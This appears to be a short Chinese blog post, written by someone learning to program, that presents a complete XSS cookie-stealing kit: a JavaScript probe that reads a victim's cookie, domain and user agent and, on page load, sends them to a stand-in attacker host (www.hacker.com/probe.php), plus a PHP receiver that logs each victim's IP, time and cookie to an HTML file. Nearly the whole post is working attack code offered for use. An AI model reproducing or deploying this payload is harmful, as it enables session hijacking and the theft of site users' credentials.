重复造轮子,是的,我在学习编程。
该 javascript 脚本主要收集客户端用户的 User_Agent、Cookie、Domain、Flash_Version。
接收信息的文件由PHP编写,同时增加客户端的IP和访问时间。
xss_probe.js
/*
xss_probe
by eT48
*/
var http_server = "http://www.hacker.com/probe.php";
function getFlashVersion() {
var flashVer = NaN;
var ua = navigator.userAgent;
if (window.ActiveXObject) {
var swf = new ActiveXObject('ShockwaveFlash.ShockwaveFlash');
if (swf) {
flashVer = Number(swf.GetVariable('$version').split(' ')[1].replace(/,/g, '.').replace(/^(d+.d+).*$/, "$1"));
}
} else {
if (navigator.plugins && navigator.plugins.length > 0) {
var swf = navigator.plugins['Shockwave Flash'];
if (swf) {
var arr = swf.description.split(' ');
for (var i = 0, len = arr.length; i < len; i++) {
var ver = Number(arr[i]);
if (!isNaN(ver)) {
flashVer = ver;
break;
}
}
}
}
}
return flashVer;
}
var user_agent = navigator.userAgent;
var domain = document.domain;
var cookie = document.cookie;
var flash = getFlashVersion();
window.onload = function(){
new Image().src = http_server + "?ua="+user_agent+"&domain="+domain+"&cookie="+cookie;
}
xss_probe.php
<?php
@header("Content-Type:text/html;charset=utf-8");
$ip = $_SERVER['REMOTE_ADDR'];
$time = date("Y-m-d H:i:s");
$data = "";
$data .= ("IP: ".$ip."<br>Time: ".$time."<br>");
if(!empty($_GET['domain'])){$data .= "Domain: "; $data .= $_GET['domain']; $data.="<br>";}
if(!empty($_GET['ua'])){$data .= "User_Agetn: "; $data .= $_GET['ua']; $data.="<br>";}
if(!empty($_GET['cookie'])){$data .= "Cookie: "; $data .= $_GET['cookie']; $data.="<br><br>";}
if(!file_exists("data.html")){
$fp = fopen("data.html", "a+");
fwrite($fp, '<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title>Sensitive Information</title><style>body{font-size:16px;}</style></head>');
fclose($fp);
}
$fp = fopen("data.html", "a+");
fwrite($fp, $data);
fclose($fp);
?>
data.html